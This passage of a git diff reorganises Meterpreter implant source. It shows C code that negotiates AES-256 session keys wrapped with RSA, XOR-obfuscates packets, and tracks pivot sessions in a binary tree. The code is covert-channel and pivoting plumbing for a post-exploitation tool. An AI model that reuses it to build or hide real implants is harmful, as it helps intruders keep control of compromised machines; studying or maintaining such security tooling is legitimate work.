Failed to generate random IV: %d (%x)", result, result); + } + + vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); + + + if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to set IV: %d (%x)", result, result); + break; + } + + vdprintf("[ENC] IV Set successfully"); + // mark this packet as an encrypted packet + packet->header.enc_flags = htonl(ENC_FLAG_AES256); + + + // Round up + DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE; + // Need to have space for the IV at the start, as well as the packet Header + DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header); + + *buffer = (BYTE*)malloc(memSize); + BYTE* headerPos = *buffer; + BYTE* ivPos = headerPos + sizeof(packet->header); + BYTE* payloadPos = ivPos + sizeof(iv); + + *bufferSize = packet->payloadLength; + + // prepare the payload + memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); + + if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result); + } + else + { + vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize); + } + + // update the length to match the size of the encrypted data with IV and the TlVHeader + packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader)); + + // update the returned total size to include both the IV and header size. + *bufferSize += sizeof(iv) + sizeof(packet->header); + + // write the header and IV to the payload + memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); + memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv)); + } while (0); + } + else + { + dprintf("[ENC] Enabling the context"); + // if the encryption is valid, then we set the enbaled flag here because + // we know that the first packet going out is the response to the negotiation + // and from here we want to make sure that the encryption function is on. + remote->enc_ctx->enabled = TRUE; + } + } + else + { + vdprintf("[ENC] No encryption context present"); + } + + // if we don't have a valid buffer at this point, we'll create one and add the packet as per normal + if (*buffer == NULL) + { + *bufferSize = packet->payloadLength + sizeof(packet->header); + *buffer = (BYTE*)malloc(*bufferSize); + + BYTE* headerPos = *buffer; + BYTE* payloadPos = headerPos + sizeof(packet->header); + + // mark this packet as a non-encrypted packet + packet->header.enc_flags = htonl(ENC_FLAG_NONE); + + memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); + memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); + } + vdprintf("[ENC] Packet buffer size is: %u", *bufferSize); + +#ifdef DEBUGTRACE + LPBYTE h = *buffer; + vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + // finally XOR obfuscate like we always did before, skippig the xor key itself. + xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key)); + + vdprintf("[ENC] Packet encoded and ready for transmission"); +#ifdef DEBUGTRACE + vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + if (dupKey != 0) + { + CryptDestroyKey(dupKey); + } + + return result; +} + +DWORD public_key_encrypt(CHAR* publicKeyPem, unsigned char* data, DWORD dataLength, unsigned char** encryptedData, DWORD* encryptedDataLength) +{ + DWORD result = ERROR_SUCCESS; + LPBYTE pubKeyBin = NULL; + CERT_PUBLIC_KEY_INFO* pubKeyInfo = NULL; + HCRYPTPROV rsaProv = 0; + HCRYPTKEY pubCryptKey = 0; + LPBYTE cipherText = NULL; + + do + { + if (publicKeyPem == NULL) + { + result = ERROR_BAD_ARGUMENTS; + break; + } + + DWORD binaryRequiredSize = 0; + CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, NULL, &binaryRequiredSize, NULL, NULL); + dprintf("[ENC] Required size for the binary key is: %u (%x)", binaryRequiredSize, binaryRequiredSize); + + pubKeyBin = (LPBYTE)malloc(binaryRequiredSize); + if (pubKeyBin == NULL) + { + result = ERROR_OUTOFMEMORY; + break; + } + + if (!CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, pubKeyBin, &binaryRequiredSize, NULL, NULL)) + { + result = GetLastError(); + dprintf("[ENC] Failed to convert the given base64 encoded key into bytes: %u (%x)", result, result); + break; + } + + DWORD keyRequiredSize = 0; + if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, pubKeyBin, binaryRequiredSize, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize)) + { + result = GetLastError(); + dprintf("[ENC] Failed to decode: %u (%x)", result, result); + break; + } + + dprintf("[ENC] Key algo: %s", pubKeyInfo->Algorithm.pszObjId); + + if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + dprintf("[ENC] Failed to create the RSA provider with CRYPT_VERIFYCONTEXT"); + if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) + { + result = GetLastError(); + dprintf("[ENC] Failed to create the RSA provider with CRYPT_NEWKEYSET: %u (%x)", result, result); + break; + } + else + { + dprintf("[ENC] Created the RSA provider with CRYPT_NEWKEYSET"); + } + } + else + { + dprintf("[ENC] Created the RSA provider with CRYPT_VERIFYCONTEXT"); + } + + if (!CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey)) + { + result = GetLastError(); + dprintf("[ENC] Failed to import the key: %u (%x)", result, result); + break; + } + + DWORD requiredEncSize = dataLength; + CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize); + dprintf("[ENC] Encrypted data length: %u (%x)", requiredEncSize, requiredEncSize); + + cipherText = (LPBYTE)calloc(1, requiredEncSize); + if (cipherText == NULL) + { + result = ERROR_OUTOFMEMORY; + break; + } + + memcpy_s(cipherText, requiredEncSize, data, dataLength); + + if (!CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize)) + { + result = GetLastError(); + dprintf("[ENC] Failed to encrypt: %u (%x)", result, result); + } + else + { + dprintf("[ENC] Encryption witih RSA succeded, byteswapping because MS is stupid and does stuff in little endian."); + // Given that we are encrypting such a small amount of data, we're going to assume that the size + // of the key matches the size of the block of data we've decrypted. + for (DWORD i = 0; i < requiredEncSize / 2; ++i) + { + BYTE b = cipherText[i]; + cipherText[i] = cipherText[requiredEncSize - i - 1]; + cipherText[requiredEncSize - i - 1] = b; + } + + *encryptedData = cipherText; + *encryptedDataLength = requiredEncSize; + } + } while (0); + + if (result != ERROR_SUCCESS) + { + if (cipherText != NULL) + { + free(cipherText); + } + } + + if (pubKeyInfo != NULL) + { + LocalFree(pubKeyInfo); + } + + if (pubCryptKey != 0) + { + CryptDestroyKey(pubCryptKey); + } + + if (rsaProv != 0) + { + CryptReleaseContext(rsaProv, 0); + } + + return result; +} + +DWORD free_encryption_context(Remote* remote) +{ + DWORD result = ERROR_SUCCESS; + + dprintf("[ENC] Freeing encryption context %p", remote->enc_ctx); + if (remote->enc_ctx != NULL) + { + dprintf("[ENC] Encryption context not null, so ditching AES key %ul", remote->enc_ctx->aes_key); + if (remote->enc_ctx->aes_key != 0) + { + CryptDestroyKey(remote->enc_ctx->aes_key); + } + + dprintf("[ENC] Encryption context not null, so ditching provider"); + if (remote->enc_ctx->provider != 0) + { + CryptReleaseContext(remote->enc_ctx->provider, 0); + } + + dprintf("[ENC] Encryption context not null, so freeing the context"); + free(remote->enc_ctx); + remote->enc_ctx = NULL; + } + return result; +} + +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = packet_create_response(packet); + + do + { + if (remote->enc_ctx != NULL) + { + free_encryption_context(remote); + } + + remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext)); + + if (remote->enc_ctx == NULL) + { + dprintf("[ENC] failed to allocate the encryption context"); + result = ERROR_OUTOFMEMORY; + break; + } + + PacketEncryptionContext* ctx = remote->enc_ctx; + + for (int i = 0; i < _countof(AesProviders); ++i) + { + if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) + { + result = GetLastError(); + dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); + } + else + { + result = ERROR_SUCCESS; + ctx->provider_idx = i; + dprintf("[ENC] managed to acquire the crypt context %d!", i); + break; + } + } + + if (result != ERROR_SUCCESS) + { + break; + } + + ctx->key_data.header.bType = PLAINTEXTKEYBLOB; + ctx->key_data.header.bVersion = CUR_BLOB_VERSION; + ctx->key_data.header.aiKeyAlg = CALG_AES_256; + ctx->key_data.length = sizeof(ctx->key_data.key); + + if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key)) + { + result = GetLastError(); + dprintf("[ENC] failed to generate random key: %d (%x)", result, result); + break; + } + + if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) + { + result = GetLastError(); + dprintf("[ENC] failed to import random key: %d (%x)", result, result); + break; + } + + // now we need to encrypt this key data using the public key given + CHAR* pubKeyPem = packet_get_tlv_value_string(packet, TLV_TYPE_RSA_PUB_KEY); + unsigned char* cipherText = NULL; + DWORD cipherTextLength = 0; + DWORD pubEncryptResult = public_key_encrypt(pubKeyPem, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength); + + packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256); + if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL) + { + // encryption succeeded, pass this key back to the call in encrypted form + packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength); + free(cipherText); + } + else + { + // no public key was given, so send it back in the raw + packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length); + } + + ctx->valid = TRUE; + } while (0); + + packet_transmit_response(result, remote, response); + + remote->enc_ctx->enabled = TRUE; + + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/common/packet_encryption.h b/c/meterpreter/source/metsrv/packet_encryption.h old mode 100755 new mode 100644 similarity index 83% rename from c/meterpreter/source/common/packet_encryption.h rename to c/meterpreter/source/metsrv/packet_encryption.h index bd4b4fc0..feb532ef --- a/c/meterpreter/source/common/packet_encryption.h +++ b/c/meterpreter/source/metsrv/packet_encryption.h @@ -1,36 +1,36 @@ -#ifndef _METERPRETER_SOURCE_COMMON_PACKET_ENCRYPTION_H -#define _METERPRETER_SOURCE_COMMON_PACKET_ENCRYPTION_H - -#include - -#define AES256_BLOCKSIZE 16 -#define ENC_FLAG_NONE 0x0 -#define ENC_FLAG_AES256 0x1 - -typedef struct _Aes256Key -{ - BLOBHEADER header; - DWORD length; - BYTE key[256/8]; -} Aes256Key; - -typedef struct _PacketEncryptionContext -{ - HCRYPTPROV provider; - HCRYPTKEY aes_key; - int provider_idx; - BOOL valid; - Aes256Key key_data; - BOOL enabled; -} PacketEncryptionContext; - -typedef struct _Remote Remote; -typedef struct _Packet Packet; - -DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize); -DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize); -DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); -DWORD free_encryption_context(Remote* remote); - -#endif - +#ifndef _METERPRETER_METSRV_PACKET_ENCRYPTION_H +#define _METERPRETER_METSRV_PACKET_ENCRYPTION_H + +#include + +#define AES256_BLOCKSIZE 16 +#define ENC_FLAG_NONE 0x0 +#define ENC_FLAG_AES256 0x1 + +typedef struct _Aes256Key +{ + BLOBHEADER header; + DWORD length; + BYTE key[256/8]; +} Aes256Key; + +typedef struct _PacketEncryptionContext +{ + HCRYPTPROV provider; + HCRYPTKEY aes_key; + int provider_idx; + BOOL valid; + Aes256Key key_data; + BOOL enabled; +} PacketEncryptionContext; + +typedef struct _Remote Remote; +typedef struct _Packet Packet; + +DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize); +DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize); +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); +DWORD free_encryption_context(Remote* remote); + +#endif + diff --git a/c/meterpreter/source/common/pivot_packet_dispatch.c b/c/meterpreter/source/metsrv/pivot_packet_dispatch.c old mode 100755 new mode 100644 similarity index 95% rename from c/meterpreter/source/common/pivot_packet_dispatch.c rename to c/meterpreter/source/metsrv/pivot_packet_dispatch.c index 3eb5d25e..d84486f0 --- a/c/meterpreter/source/common/pivot_packet_dispatch.c +++ b/c/meterpreter/source/metsrv/pivot_packet_dispatch.c @@ -1,31 +1,31 @@ -#include "common.h" -#include "pivot_packet_dispatch.h" - -DWORD THREADCALL pivot_packet_dispatch_thread(THREAD* thread) -{ - dprintf("[PIVOTPACKETTHREAD] Dispatching packet on thread %p", thread); - PivotContext* pivotCtx = (PivotContext*)thread->parameter1; - LPBYTE packetBuffer = (LPBYTE)thread->parameter2; - DWORD packetSize = (DWORD)(DWORD_PTR)thread->parameter3; - DWORD result = pivotCtx->packet_write(pivotCtx->state, packetBuffer, packetSize); - dprintf("[PIVOTPACKETTHREAD] Packet dispatched: %u (%x)", result, result); - free(packetBuffer); - dprintf("[PIVOTPACKETTHREAD] Cleaning up the thread"); - thread_destroy(thread); - dprintf("[PIVOTPACKETTHREAD] Done"); - return result; -} - -DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize) -{ - THREAD* thread = thread_create(pivot_packet_dispatch_thread, pivotCtx, packetBuffer, (LPVOID)(DWORD_PTR)packetSize); - if (thread) - { - dprintf("[PIVOTPACKET] Dispatching packet on new thread %p", thread); - thread_run(thread); - dprintf("[PIVOTPACKET] Thread invoked %p", thread); - return ERROR_SUCCESS; - } - dprintf("[PIVOTPACKET] Failed to create packet dispatch thread"); - return ERROR_OUTOFMEMORY; +#include "metsrv.h" +#include "pivot_packet_dispatch.h" + +DWORD THREADCALL pivot_packet_dispatch_thread(THREAD* thread) +{ + dprintf("[PIVOTPACKETTHREAD] Dispatching packet on thread %p", thread); + PivotContext* pivotCtx = (PivotContext*)thread->parameter1; + LPBYTE packetBuffer = (LPBYTE)thread->parameter2; + DWORD packetSize = (DWORD)(DWORD_PTR)thread->parameter3; + DWORD result = pivotCtx->packet_write(pivotCtx->state, packetBuffer, packetSize); + dprintf("[PIVOTPACKETTHREAD] Packet dispatched: %u (%x)", result, result); + free(packetBuffer); + dprintf("[PIVOTPACKETTHREAD] Cleaning up the thread"); + thread_destroy(thread); + dprintf("[PIVOTPACKETTHREAD] Done"); + return result; +} + +DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize) +{ + THREAD* thread = thread_create(pivot_packet_dispatch_thread, pivotCtx, packetBuffer, (LPVOID)(DWORD_PTR)packetSize); + if (thread) + { + dprintf("[PIVOTPACKET] Dispatching packet on new thread %p", thread); + thread_run(thread); + dprintf("[PIVOTPACKET] Thread invoked %p", thread); + return ERROR_SUCCESS; + } + dprintf("[PIVOTPACKET] Failed to create packet dispatch thread"); + return ERROR_OUTOFMEMORY; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/pivot_packet_dispatch.h b/c/meterpreter/source/metsrv/pivot_packet_dispatch.h new file mode 100644 index 00000000..db00ffd8 --- /dev/null +++ b/c/meterpreter/source/metsrv/pivot_packet_dispatch.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_METSRV_PIVOT_PACKET_DISPATCH +#define _METERPRETER_METSRV_PIVOT_PACKET_DISPATCH + +DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/pivot_tree.c b/c/meterpreter/source/metsrv/pivot_tree.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/common/pivot_tree.c rename to c/meterpreter/source/metsrv/pivot_tree.c index d90ee68c..a9cbd123 --- a/c/meterpreter/source/common/pivot_tree.c +++ b/c/meterpreter/source/metsrv/pivot_tree.c @@ -1,296 +1,296 @@ -#include "common.h" -#include "pivot_tree.h" - -typedef struct _PivotNode -{ - BYTE guid[sizeof(GUID)]; - PivotContext* ctx; - - struct _PivotNode* left; - struct _PivotNode* right; -} PivotNode; - -#ifdef DEBUGTRACE -void pivot_tree_to_string(char** buffer, PivotNode* node, char* prefix) -{ - // each line is the prefix size, plus the guid size plus a null and a \n and the two pointers - int curLen = *buffer ? (int)strlen(*buffer) : 0; - int newLen = (int)strlen(prefix) + 32 + 2 + (sizeof(LPVOID) * 2 + 8) * 2; - *buffer = (char*)realloc(*buffer, curLen + 1 + newLen); - if (node != NULL) - { - PUCHAR h = node->guid; - sprintf(*buffer + curLen, "%s%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X (%p) (%p)\n\x00", - prefix, - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], - node->left, node->right); - char p[512]; - sprintf(p, "%.*s|", (int)(INT_PTR)strlen(prefix), " "); - // print the right hand side first, as it seems to make sense when viewing the content - pivot_tree_to_string(buffer, node->right, p); - pivot_tree_to_string(buffer, node->left, p); - } - else - { - sprintf(*buffer + strlen(*buffer), "%sNULL\n", prefix); - } -} - -void dbgprint_pivot_tree(PivotTree* tree) -{ - char* buffer = NULL; - pivot_tree_to_string(&buffer, tree->head, " "); - if (buffer) - { - dprintf("[PIVOTTREE] contents:\n%s", buffer); - free(buffer); - } -} -#endif - -PivotTree* pivot_tree_create() -{ - return (PivotTree*)calloc(1, sizeof(PivotTree)); -} - -DWORD pivot_tree_add_node(PivotNode* parent, PivotNode* node) -{ - int cmp = memcmp(node->guid, parent->guid, sizeof(parent->guid)); - - if (cmp < 0) - { - if (parent->left == NULL) - { - dprintf("[PIVOTTREE] Adding node to left"); - parent->left = node; - return ERROR_SUCCESS; - } - - dprintf("[PIVOTTREE] Adding node to left subtree"); - return pivot_tree_add_node(parent->left, node); - } - - if (parent->right == NULL) - { - dprintf("[PIVOTTREE] Adding node to right"); - parent->right = node; - return ERROR_SUCCESS; - } - - dprintf("[PIVOTTREE] Adding node to right subtree"); - return pivot_tree_add_node(parent->right, node); -} - -DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx) -{ - PivotNode* node = (PivotNode*)calloc(1, sizeof(PivotNode)); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&guid[0]; - dprintf("[PIVOTTREE] Adding GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - memcpy(node->guid, guid, sizeof(node->guid)); - node->ctx = ctx; - - if (tree->head == NULL) - { - tree->head = node; - return ERROR_SUCCESS; - } - - return pivot_tree_add_node(tree->head, node); -} - -PivotNode* pivot_tree_largest_node(PivotNode* node) -{ - if (node == NULL) - { - return NULL; - } - - if (node->right == NULL) - { - return node; - } - return pivot_tree_largest_node(node->right); -} - -PivotContext* pivot_tree_remove_node(PivotNode* parent, LPBYTE guid) -{ - dprintf("[PIVOTTREE] Trying to remove from %p (%p) (%p)", parent, parent->left, parent->right); - int cmp = memcmp(guid, parent->guid, sizeof(parent->guid)); - if (cmp < 0 && parent->left != NULL) - { - dprintf("[PIVOTTREE] Removing from left subtree"); - int cmp = memcmp(guid, parent->left->guid, sizeof(parent->guid)); - dprintf("[PIVOTTREE] Right left compare: %d", cmp); - if (cmp == 0) - { - dprintf("[PIVOTTREE] Removing right child"); - PivotNode* remove = parent->left; - PivotNode* left = remove->left; - PivotNode* largest = pivot_tree_largest_node(left); - - if (largest != NULL) - { - largest->right = remove->right; - parent->left = left; - } - else - { - parent->left = remove->right; - } - - PivotContext* context = remove->ctx; - free(remove); - return context; - } - - return pivot_tree_remove_node(parent->left, guid); - } - - if (cmp > 0 && parent->right != NULL) - { - dprintf("[PIVOTTREE] Removing from right subtree"); - int cmp = memcmp(guid, parent->right->guid, sizeof(parent->guid)); - dprintf("[PIVOTTREE] Right subtree compare: %d", cmp); - if (cmp == 0) - { - dprintf("[PIVOTTREE] Removing right child"); - PivotNode* remove = parent->right; - PivotNode* left = remove->left; - PivotNode* largest = pivot_tree_largest_node(left); - - if (largest != NULL) - { - largest->right = remove->right; - parent->right = left; - } - else - { - parent->right = remove->right; - } - - PivotContext* context = remove->ctx; - free(remove); - return context; - } - - return pivot_tree_remove_node(parent->right, guid); - } - - return NULL; -} - -PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid) -{ -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&guid[0]; - dprintf("[PIVOTTREE] Removing GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - if (tree->head == NULL) - { - return NULL; - } - - int cmp = memcmp(guid, tree->head->guid, sizeof(tree->head->guid)); - - if (cmp == 0) - { - dprintf("[PIVOTTREE] Removing head node"); - PivotNode* remove = tree->head; - PivotNode* left = tree->head->left; - PivotNode* largest = pivot_tree_largest_node(left); - - if (largest != NULL) - { - largest->right = tree->head->right; - tree->head = left; - } - else - { - tree->head = tree->head->right; - } - - PivotContext* context = remove->ctx; - free(remove); - return context; - } - - dprintf("[PIVOTTREE] Removing non-head node"); - return pivot_tree_remove_node(tree->head, guid); -} - -PivotContext* pivot_tree_find_node(PivotNode* node, LPBYTE guid) -{ - if (node == NULL) - { - dprintf("[PIVOTTREE] Current pivot node is null, bailing out"); - return NULL; - } - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&guid[0]; - dprintf("[PIVOTTREE] Saerch GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - h = node->guid; - dprintf("[PIVOTTREE] Node GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - int cmp = memcmp(guid, node->guid, sizeof(node->guid)); - if (cmp == 0) - { - dprintf("[PIVOTTREE] node found"); - return node->ctx; - } - - if (cmp < 0) - { - dprintf("[PIVOTTREE] Searching left subtree"); - return pivot_tree_find_node(node->left, guid); - } - - dprintf("[PIVOTTREE] Searching right subtree"); - return pivot_tree_find_node(node->right, guid); -} - -PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid) -{ - dprintf("[PIVOTTREE] search tree %p, head node %p", tree, tree->head); - return pivot_tree_find_node(tree->head, guid); -} - -void pivot_tree_traverse_node(PivotNode* node, PivotTreeTraverseCallback callback, LPVOID state) -{ - if (node != NULL) - { - pivot_tree_traverse_node(node->left, callback, state); - callback(node->guid, node->ctx, state); - pivot_tree_traverse_node(node->right, callback, state); - } -} - -void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state) -{ - pivot_tree_traverse_node(tree->head, callback, state); -} - -void pivot_tree_destroy_node(PivotNode* node) -{ - if (node != NULL) - { - pivot_tree_destroy_node(node->left); - pivot_tree_destroy_node(node->right); - free(node); - } -} - -void pivot_tree_destroy(PivotTree* tree) -{ - pivot_tree_destroy_node(tree->head); - free(tree); +#include "common.h" +#include "pivot_tree.h" + +typedef struct _PivotNode +{ + BYTE guid[sizeof(GUID)]; + PivotContext* ctx; + + struct _PivotNode* left; + struct _PivotNode* right; +} PivotNode; + +#ifdef DEBUGTRACE +void pivot_tree_to_string(char** buffer, PivotNode* node, char* prefix) +{ + // each line is the prefix size, plus the guid size plus a null and a \n and the two pointers + int curLen = *buffer ? (int)strlen(*buffer) : 0; + int newLen = (int)strlen(prefix) + 32 + 2 + (sizeof(LPVOID) * 2 + 8) * 2; + *buffer = (char*)realloc(*buffer, curLen + 1 + newLen); + if (node != NULL) + { + PUCHAR h = node->guid; + sprintf(*buffer + curLen, "%s%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X (%p) (%p)\n\x00", + prefix, + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], + node->left, node->right); + char p[512]; + sprintf(p, "%.*s|", (int)(INT_PTR)strlen(prefix), " "); + // print the right hand side first, as it seems to make sense when viewing the content + pivot_tree_to_string(buffer, node->right, p); + pivot_tree_to_string(buffer, node->left, p); + } + else + { + sprintf(*buffer + strlen(*buffer), "%sNULL\n", prefix); + } +} + +void dbgprint_pivot_tree(PivotTree* tree) +{ + char* buffer = NULL; + pivot_tree_to_string(&buffer, tree->head, " "); + if (buffer) + { + dprintf("[PIVOTTREE] contents:\n%s", buffer); + free(buffer); + } +} +#endif + +PivotTree* pivot_tree_create() +{ + return (PivotTree*)calloc(1, sizeof(PivotTree)); +} + +DWORD pivot_tree_add_node(PivotNode* parent, PivotNode* node) +{ + int cmp = memcmp(node->guid, parent->guid, sizeof(parent->guid)); + + if (cmp < 0) + { + if (parent->left == NULL) + { + dprintf("[PIVOTTREE] Adding node to left"); + parent->left = node; + return ERROR_SUCCESS; + } + + dprintf("[PIVOTTREE] Adding node to left subtree"); + return pivot_tree_add_node(parent->left, node); + } + + if (parent->right == NULL) + { + dprintf("[PIVOTTREE] Adding node to right"); + parent->right = node; + return ERROR_SUCCESS; + } + + dprintf("[PIVOTTREE] Adding node to right subtree"); + return pivot_tree_add_node(parent->right, node); +} + +DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx) +{ + PivotNode* node = (PivotNode*)calloc(1, sizeof(PivotNode)); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&guid[0]; + dprintf("[PIVOTTREE] Adding GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + memcpy(node->guid, guid, sizeof(node->guid)); + node->ctx = ctx; + + if (tree->head == NULL) + { + tree->head = node; + return ERROR_SUCCESS; + } + + return pivot_tree_add_node(tree->head, node); +} + +PivotNode* pivot_tree_largest_node(PivotNode* node) +{ + if (node == NULL) + { + return NULL; + } + + if (node->right == NULL) + { + return node; + } + return pivot_tree_largest_node(node->right); +} + +PivotContext* pivot_tree_remove_node(PivotNode* parent, LPBYTE guid) +{ + dprintf("[PIVOTTREE] Trying to remove from %p (%p) (%p)", parent, parent->left, parent->right); + int cmp = memcmp(guid, parent->guid, sizeof(parent->guid)); + if (cmp < 0 && parent->left != NULL) + { + dprintf("[PIVOTTREE] Removing from left subtree"); + int cmp = memcmp(guid, parent->left->guid, sizeof(parent->guid)); + dprintf("[PIVOTTREE] Right left compare: %d", cmp); + if (cmp == 0) + { + dprintf("[PIVOTTREE] Removing right child"); + PivotNode* remove = parent->left; + PivotNode* left = remove->left; + PivotNode* largest = pivot_tree_largest_node(left); + + if (largest != NULL) + { + largest->right = remove->right; + parent->left = left; + } + else + { + parent->left = remove->right; + } + + PivotContext* context = remove->ctx; + free(remove); + return context; + } + + return pivot_tree_remove_node(parent->left, guid); + } + + if (cmp > 0 && parent->right != NULL) + { + dprintf("[PIVOTTREE] Removing from right subtree"); + int cmp = memcmp(guid, parent->right->guid, sizeof(parent->guid)); + dprintf("[PIVOTTREE] Right subtree compare: %d", cmp); + if (cmp == 0) + { + dprintf("[PIVOTTREE] Removing right child"); + 